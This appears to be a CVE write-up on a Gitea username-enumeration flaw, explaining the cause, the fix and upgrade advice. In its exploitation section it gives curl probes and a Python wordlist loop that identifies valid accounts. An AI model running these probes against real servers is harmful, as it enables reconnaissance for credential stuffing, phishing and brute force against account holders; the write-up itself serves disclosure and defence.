Gitea versions prior to 1.25.2 respond differently to login attempts depending on whether the username exists or not. Attackers can use this 'oracle' to build a list of valid users, paving the way for targeted credential stuffing or social engineering attacks.
A classic response discrepancy vulnerability in Gitea's API authentication logic allows unauthenticated attackers to enumerate valid usernames based on specific error messages.
Self-hosting your code is a power move. You own the data, you control the uptime, and you don't have to pay a per-seat license to a giant tech conglomerate. Gitea is the darling of this movement—a lightweight, Go-based alternative to GitHub/GitLab that runs on a potato. But being the sysadmin means you also own the security flaws. And sometimes, your software is a bit too helpful for its own good.
CVE-2025-69413 is what we call a 'Chatterbox Vulnerability'. It’s not a remote code execution that burns the server down in seconds. It’s a reconnaissance flaw. It’s the digital equivalent of a burglar knocking on doors to see who’s home before deciding which lock to pick. In the world of security, information is ammunition, and Gitea was handing out ammo for free.
The vulnerability lies in the API's authentication mechanism. Ideally, a login prompt should be a stone wall: you either pass, or you fail. Gitea, however, was acting more like a helpful concierge, whispering, "That person doesn't live here," versus "That person is home, but you have the wrong key." For a hacker, that distinction is everything.
This vulnerability is a textbook case of CWE-204: Observable Response Discrepancy. In cryptography and web security, we often call this an 'Oracle'. An oracle is any system that reveals internal state through its responses to external queries. In this case, the state being revealed is the existence of a user record.
The logic flaw was located in the /api/v1/user endpoint and the general authentication middleware. When a client attempts to authenticate—say, via Basic Auth—the server has to check two things: does the user exist, and is the password correct?
In a secure system, these checks are blurred into a single failure state. But Gitea < 1.25.2 treated them as distinct logical paths with distinct error messages:
"user does not exist"."user's password is invalid".This discrepancy turns the API into a TRUE/FALSE query engine. An attacker doesn't need to guess the password to know they've found a target; they just need to see the error message shift. This reduces the complexity of an attack from "guessing a user+password combination" (exponentially hard) to "guessing a username" (linearly easy) followed by "guessing a password" (targeted).
Let's look at the "smoking gun" in routers/api/v1/api.go. The issue wasn't a buffer overflow or a complex logic race; it was simply a lack of input sanitization on the output side. The code was taking internal errors from the authentication service and piping them directly to the HTTP response.
The Vulnerable Logic (Conceptual):
// Before the fix: Too honest
user, err := auth.SignIn(ctx, form)
if err != nil {
// The error string "user does not exist" or "invalid password"
// is passed directly to the user.
ctx.Error(http.StatusUnauthorized, err.Error())
return
}The developers likely intended this for debugging or better user experience (UX). Telling a user they made a typo in their username is friendly. But in security, UX often conflicts with opacity.
The Fix (Gitea 1.25.2): The patch introduces a generic error handling wrapper. Instead of passing the raw error, the system now catches the auth failure and normalizes the response.
// After the fix: Poker face engaged
user, err := auth.SignIn(ctx, form)
if err != nil {
// Whatever happened, we just say "No."
ctx.Error(http.StatusUnauthorized, "invalid username, password or token")
return
}This change ensures that whether you type admin (exists) or ghost_of_sparta (doesn't exist), the server gives you the exact same cold shoulder.
Exploiting this is trivially easy. You don't need Metasploit; you need curl and a wordlist. The attack vector relies on sending a request with a guessable username and a dummy password. We assume the password is wrong; we are just listening to how the server rejects us.
Manual Proof of Concept:
# Probe for a non-existent user
curl -u "fakeuser:WrongPass123" https://gitea.example.com/api/v1/user
# Response: {"message": "user does not exist"} -> TARGET MISSING
# Probe for an existing user (e.g., 'admin')
curl -u "admin:WrongPass123" https://gitea.example.com/api/v1/user
# Response: {"message": "user's password is invalid"} -> TARGET ACQUIREDThe Automation Loop:
A sophisticated attacker would feed a list of 10,000 common usernames (e.g., root, deploy, git, jsmith) into a script.
import requests
target = "https://gitea.example.com/api/v1/user"
usernames = open("top-usernames.txt").read().splitlines()
for user in usernames:
r = requests.get(target, auth=(user, "dummy_password"))
if "password is invalid" in r.text:
print(f"[+] FOUND VALID USER: {user}")
else:
# "user does not exist" or other errors
passThis script runs silently. Unless the admin is monitoring for high volumes of 401 errors specifically grouped by response body length (which is rare), this reconnaissance goes unnoticed.
You might be thinking, "So they know my username is 'dave'. Big deal." But in the kill chain, enumeration is the pivot point.
user:password pairs, trying all of them against your server triggers rate limits immediately. But if I first use CVE-2025-69413 to identify the 50 users who actually exist on your system, I can discard the other 9,999,950 attempts. My attack becomes 200,000% more efficient.jdoe exists allows for targeted phishing. "Hi John, this is IT, your Gitea account needs a reset."admin exists, I can focus a slow-and-low brute force attack specifically on that account, bypassing generic noise filters.While the CVSS is a modest 5.3, the utility of this bug for an attacker is high. It turns a blind shot in the dark into a sniper shot.
The remediation is straightforward: Update to Gitea 1.25.2.
If you cannot update immediately, you are in a difficult spot because this is logic embedded in the compiled Go binary. You can't just patch a config file.
Defensive Workarounds:
Ultimately, the code fix (unifying the error messages) is the only complete solution.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Gitea Gitea | < 1.25.2 | 1.25.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-204 |
| Attack Vector | Network (API) |
| CVSS Score | 5.3 (Medium) |
| Impact | Information Disclosure |
| Exploit Status | Trivial (Manual) |
| Authentication | None Required |
Observable Response Discrepancy
Get the latest CVE analysis reports delivered to your inbox.